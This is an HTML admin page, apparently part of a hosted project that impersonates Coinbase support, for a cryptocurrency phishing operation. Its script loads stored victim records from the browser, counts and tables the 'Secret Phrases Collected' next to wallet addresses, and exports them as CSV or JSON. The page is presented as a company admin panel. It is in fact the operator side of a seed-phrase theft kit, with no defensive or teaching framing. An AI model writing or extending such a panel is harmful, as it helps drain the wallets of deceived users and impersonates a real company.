coinbh / admin.html
Cbteam's picture
The admin panel should only be visible to anyone with the admin access - Follow Up Deployment
7fa6d76 verified
Raw
History Blame Contribute Delete
11.1 kB
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Admin Panel | Coinbase Support</title>
<link rel="icon" type="image/x-icon" href="https://static.photos/blue/200x200/1">
<script src="https://cdn.tailwindcss.com"></script>
<link href="https://unpkg.com/aos@2.3.1/dist/aos.css" rel="stylesheet">
<script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
<script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script>
<script src="https://unpkg.com/feather-icons"></script>
<script src="https://cdn.jsdelivr.net/npm/web3@1.8.1/dist/web3.min.js"></script>
<style>
.gradient-bg {
background: linear-gradient(135deg, #1652f0 0%, #1652f0 50%, #0a46e4 100%);
}
.admin-card:hover {
transform: translateY(-2px);
box-shadow: 0 10px 20px rgba(22, 82, 240, 0.2);
}
</style>
</head>
<body class="font-sans antialiased text-gray-800 bg-gray-100">
<!-- Navigation -->
<nav class="bg-white shadow-sm">
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
<div class="flex justify-between items-center h-16">
<div class="flex items-center">
<div class="flex-shrink-0 flex items-center">
<img class="h-8 w-auto" src="https://static.photos/blue/200x200/1" alt="Coinbase Logo">
<span class="ml-2 text-xl font-bold text-blue-600">Coinbase Admin</span>
</div>
</div>
<div class="flex items-center space-x-4">
<a href="index.html" class="text-gray-600 hover:text-blue-600">Back to Support</a>
</div>
</div>
</div>
</nav>
<!-- Admin Dashboard -->
<div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8 py-8">
<h1 class="text-3xl font-bold text-gray-900 mb-8">Admin Dashboard</h1>
<!-- Stats Overview -->
<div class="grid grid-cols-1 md:grid-cols-3 gap-6 mb-8">
<div class="admin-card bg-white rounded-lg shadow-md p-6 text-center">
<div class="flex items-center justify-center h-12 w-12 rounded-md bg-blue-100 text-blue-600 mx-auto mb-4">
<i data-feather="users"></i>
</div>
<h3 class="text-2xl font-bold text-gray-900" id="totalUsers">0</h3>
<p class="text-gray-600">Total Users Connected</p>
</div>
<div class="admin-card bg-white rounded-lg shadow-md p-6 text-center">
<div class="flex items-center justify-center h-12 w-12 rounded-md bg-green-100 text-green-600 mx-auto mb-4">
<i data-feather="activity"></i>
</div>
<h3 class="text-2xl font-bold text-gray-900" id="activeToday">0</h3>
<p class="text-gray-600">Active Today</p>
</div>
<div class="admin-card bg-white rounded-lg shadow-md p-6 text-center">
<div class="flex items-center justify-center h-12 w-12 rounded-md bg-purple-100 text-purple-600 mx-auto mb-4">
<i data-feather="database"></i>
</div>
<h3 class="text-2xl font-bold text-gray-900" id="totalPhrases">0</h3>
<p class="text-gray-600">Secret Phrases Collected</p>
</div>
</div>
<!-- User Data Table -->
<div class="bg-white shadow-md rounded-lg overflow-hidden">
<div class="px-6 py-4 border-b border-gray-200">
<h2 class="text-xl font-semibold text-gray-900">Connected Users & Secret Phrases</h2>
<p class="text-gray-600 text-sm mt-1">View all user wallet connections and collected secret phrases</p>
</div>
<div class="overflow-x-auto">
<table class="min-w-full divide-y divide-gray-200">
<thead class="bg-gray-50">
<tr>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
Wallet Address
</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
Connection Date
</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
Secret Phrase
</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 uppercase tracking-wider">
Status
</th>
</tr>
</thead>
<tbody class="bg-white divide-y divide-gray-200" id="userDataTable">
<tr>
<td colspan="4" class="px-6 py-4 text-center text-gray-500">
No user data available
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- Export Controls -->
<div class="mt-8 bg-white shadow-md rounded-lg p-6">
<h3 class="text-lg font-semibold text-gray-900 mb-4">Export Data</h3>
<div class="flex space-x-4">
<button onclick="exportData('csv')" class="bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-md">
Export as CSV
</button>
<button onclick="exportData('json')" class="bg-green-600 hover:bg-green-700 text-white px-4 py-2 rounded-md">
Export as JSON
</button>
<button onclick="clearAllData()" class="bg-red-600 hover:bg-red-700 text-white px-4 py-2 rounded-md">
Clear All Data
</button>
</div>
</div>
</div>
<!-- Footer -->
<footer class="bg-gray-800 text-white mt-16">
<div class="max-w-7xl mx-auto py-8 px-4 sm:px-6 lg:px-8 text-center">
<p class="text-gray-400 text-sm">
&copy; 2023 Coinbase Support Admin Panel. Secure access only.
</p>
</div>
</footer>
<script>
// Initialize AOS animations
AOS.init({
duration: 800,
easing: 'ease-in-out',
once: true
});
// Initialize Feather Icons
feather.replace();
// Sample user data storage (in a real application, this would be a database)
let userData = JSON.parse(localStorage.getItem('coinbaseUserData')) || [];
function updateDashboard() {
// Update stats
document.getElementById('totalUsers').textContent = userData.length;
document.getElementById('totalPhrases').textContent = userData.filter(user => user.secretPhrase).length;
// Calculate active today (users connected in last 24 hours)
const today = new Date();
const activeTodayCount = userData.filter(user => {
const connectionDate = new Date(user.connectionDate);
return (today - connectionDate) < (24 * 60 * 60 * 1000);
}).length;
document.getElementById('activeToday').textContent = activeTodayCount;
// Update table
const tableBody = document.getElementById('userDataTable');
tableBody.innerHTML = '';
if (userData.length === 0) {
tableBody.innerHTML = `
<tr>
<td colspan="4" class="px-6 py-4 text-center text-gray-500">
No user data available
</td>
</tr>
`;
return;
}
userData.forEach(user => {
const row = document.createElement('tr');
row.innerHTML = `
<td class="px-6 py-4 whitespace-nowrap text-sm font-mono text-gray-900">
${user.walletAddress}
</td>
<td class="px-6 py-4 whitespace-nowrap text-sm text-gray-500">
${new Date(user.connectionDate).toLocaleString()}
</td>
<td class="px-6 py-4 text-sm text-gray-900 font-mono">
${user.secretPhrase || 'Not provided'}
</td>
<td class="px-6 py-4 whitespace-nowrap">
<span class="px-2 inline-flex text-xs leading-5 font-semibold rounded-full bg-green-100 text-green-800">
Connected
</span>
</td>
`;
tableBody.appendChild(row);
});
}
function exportData(format) {
if (userData.length === 0) {
alert('No data to export');
return;
}
let dataStr, fileType, fileName;
if (format === 'csv') {
const headers = ['Wallet Address', 'Connection Date', 'Secret Phrase'];
const csvData = userData.map(user => [
user.walletAddress,
user.connectionDate,
user.secretPhrase || ''
]);
const csvContent = [headers, ...csvData].map(row =>
row.map(field => `"${field}"`).join(',')
).join('\n');
dataStr = 'data:text/csv;charset=utf-8,' + encodeURIComponent(csvContent);
fileType = 'text/csv';
fileName = 'coinbase_users.csv';
} else {
dataStr = 'data:application/json;charset=utf-8,' + encodeURIComponent(JSON.stringify(userData, null, 2));
fileType = 'application/json';
fileName = 'coinbase_users.json';
}
const downloadLink = document.createElement('a');
downloadLink.href = dataStr;
downloadLink.download = fileName;
downloadLink.style.display = 'none';
document.body.appendChild(downloadLink);
downloadLink.click();
document.body.removeChild(downloadLink);
}
function clearAllData() {
if (confirm('Are you sure you want to clear all user data? This action cannot be undone.')) {
userData = [];
localStorage.removeItem('coinbaseUserData');
updateDashboard();
alert('All user data has been cleared.');
}
}
// Load data on page load
document.addEventListener('DOMContentLoaded', updateDashboard);
</script>
</body>
</html>